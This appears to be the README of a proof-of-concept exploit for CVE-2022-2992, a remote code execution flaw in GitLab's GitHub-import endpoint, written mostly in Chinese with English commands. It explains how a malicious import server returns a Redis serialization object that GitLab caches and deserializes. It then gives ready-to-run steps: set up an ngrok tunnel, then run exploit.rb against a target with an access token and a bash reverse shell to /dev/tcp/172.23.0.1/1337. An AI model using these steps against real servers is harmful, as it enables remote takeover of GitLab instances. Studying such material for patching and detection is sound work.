
A collection of proof-of-concept exploit scripts written by the team at Redway Security for various CVEs.
描述: 该漏洞允许经过身份验证的用户通过“从 GitHub 导入”API 端点实现远程代码执行。
受影响版本: 从 11.10 到 15.1.6 之前的所有版本、15.2 至 15.2.4、15.3 至 15.3.2
修复版本: 15.3.2
研究人员: vakzz
分析文章链接: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
NIST CVE 链接: https://nvd.nist.gov/vuln/detail/CVE-2022-2992
经过身份验证的用户可以将仓库从 GitHub 导入到 GitLab。攻击者可以尝试从自己控制的服务器导入仓库,该服务器在嵌套的 default_branch 中返回 Redis 序列化协议对象,使 GitLab 将该对象缓存到 Redis 中,Redis 随后对其进行反序列化并触发执行载荷。
需要一个个人访问令牌
$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567 # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload
